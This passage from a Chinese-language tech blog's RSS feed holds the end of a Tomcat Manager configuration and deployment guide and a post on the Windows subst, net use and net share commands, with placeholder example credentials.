Struts框架。一旦你作为“admin”角色的用户登录管理界面，你将能够使用这个管理界面配置Tomcat。 2．配置应用管理（Manager Web Application） Manager Web Application让你通过一个比Admin Web Application更为简单的用户界面，执行一些简单的Web应用任务。 Manager Web Application被被定义在一个自动部署文件中： CATALINA_BASE/webapps/manager.xml 。 你必须编辑这个文件，以确保context的docBase参数是绝对路径，也就是说CATALINA_HOME/server/webapps/manager的绝对路径。 （译者注：CATALINA_HOME即tomcat安装目录） 如果你使用的是UserDatabaseRealm，那么你需要添加一个角色和一个用户到CATALINA_BASE/conf/tomcat-users.xml文件中。接下来，编辑这个文件，添加一个名为“manager”的角色到该文件中： &amp;lt;role name=”manager”&amp;gt; 你同样需要有一个角色为“manager”的用户。像已经存在的用户那样，添加一个新用户（改变密码使其更加安全）： &amp;lt;user name=&#34;manager&#34; password=&#34;deep_dark_secret&#34; roles=&#34;manager&#34;/&amp;gt; 然后重新启动Tomcat，访问http://localhost/manager/list，将看到一个很朴素的文本型管理界面，或者访问http://localhost/manager/html/list，将看到一个HMTL的管理界面。不管是哪种方式都说明你的Manager Web Application现在已经启动了。 Manager application让你可以在没有系统管理特权的基础上，安装新的Web应用，以用于测试。如果我们有一个新的web应用位于/home/user/hello下在，并且想把它安装到 /hello下，为了测试这个应用，我们可以这么做，在第一个文件框中输入“/hello”（作为访问时的path），在第二个文本框中输入“file:/home/user/hello”（作为Config URL）。 Manager application还允许你停止、重新启动、移除以及重新部署一个web应用。停止一个应用使其无法被访问，当有用户尝试访问这个被停止的应用时，将看到一个503的错误??“503 - This application is not currently available”。 移除一个web应用，只是指从Tomcat的运行拷贝中删除了该应用，如果你重新启动Tomcat，被删除的应用将再次出现（也就是说，移除并不是指从硬盘上删除）。 3．部署一个web应用 有两个办法可以在系统中部署web服务。 1&amp;gt; 拷贝你的WAR文件或者你的web应用文件夹（包括该web的所有内容）到$CATALINA_BASE/webapps目录下。 2&amp;gt; 为你的web服务建立一个只包括context内容的XML片断文件，并把该文件放到$CATALINA_BASE/webapps目录下。这个web应用本身可以存储在硬盘上的任何地方。 如果你有一个WAR文件，你若想部署它，则只需要把该文件简单的拷贝到CATALINA_BASE/webapps目录下即可，文件必须以“.</description>
    </item>
    <item>
      <title>在Windows中巧用控制台命令</title>
      <link>https://bchobby.github.io/posts/756bf682cc2bb02b0b7df6b88fa0243e/</link>
      <pubDate>Thu, 03 Jun 2004 11:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/756bf682cc2bb02b0b7df6b88fa0243e/</guid>
      <description>Windows中有很多命令我们很少使用，在这里我就介绍一下我在Windows中的常用的几个命令的使用方法，利用这些命令可以简化或者方便我们的使用。&#xA;1． 镜像虚拟磁盘subst命令&#xA;利用subst命令可以将一个文件夹镜像成本地的一个硬盘，不如我们可以在E盘中有一个文件夹叫做DiskB，我们可以利用下面的命令创建一个B盘&#xA;映射虚拟磁盘： subst B: E:/DiskB 就这样在资源管理器中就有了一个B盘，要删除B盘可以使用下面的命令&#xA;删除虚拟磁盘： subst B: /D 直接使用subst命令可以察看虚拟磁盘，命令如下：&#xA;subst 这个命令可以简化很多操作，比如我们把一个文件放在一个路径很深的文件夹中，每次我们想要操作这些文件就必须沿着文件夹的路径一级一级地打开，这样操作很费时。如果使用虚拟硬盘就可以很方便的进入到我们需要操作的文件夹了。&#xA;2． net use 命令映射一个网络驱动器&#xA;我们在使用局域网是经常要映射很多的网络驱动器，但是这些网络驱动器不会自动删除，在每次开机时都会要我们输入密码。我觉得这很繁琐，能不能简化一下操作呢？其实是可以的，那就是使用net use命令，使用这个命令就可以自动映射一个网络驱动器。我们如果将这些命令保存在一个批处理文件中，然后让在启动文件夹中插入一个快捷方式，运行这个批处理文件，那么我们就不需要每次开机时输入密码了，不过对于windows 2000 professional中每次开机时还会提示输入密码，不过此时我们可以选择按以下Esc键，然后让我们的批处理文件来进行映射操作。对于2000 Server好像在每次开机时如果是用net use 命令映射的驱动器在第二次开机时不会自动连接。&#xA;下面介绍一下net use 命令的使用方法&#xA;假定有一台机器名为Heaven，在这台机器上有一个共享文件夹，它的共享名称为Share，而且可以使用用户名user登录，user的密码为GodLoveMe，那么将这个网络文件夹映射为本地的H:盘的命令如下：&#xA;映射网络驱动程序的命令： net use H: //Heaven/Share GodLoveMe /USER:user 要删除网络驱动器H:盘，可以使用下面的命令：&#xA;删除网络驱动器： net use H: /D 直接使用net use命令可以察看已经映射的网络驱动器，命令如下： net use 3． net share命令共享一个文件夹&#xA;使用命令net share可以共享一个文件夹，删除一个共享，察看当前有哪些共享文件夹&#xA;共享一个文件夹，比如在E:盘有一个文件夹名称为Share，我们要把它共享为一个名为ShareFolder的共享文件夹，可以使用下面的命令&#xA;net share ShareFolder=E:/Share 不过此时的共享权限是默认共享权限，如果要修改可以在资源管理器中进行修改。&#xA;删除一个共享&#xA;net share ShareFolder /D 直接使用net share命令可以察看当前有哪些共享文件夹，这样可以方便地找到当前机器上都有哪些共享文件夹，而且可以删除一些没必要的共享，命令如下：&#xA;net share 4． explorer 命令打开资源管理器</description>
    </item>
  </channel>
</rss>
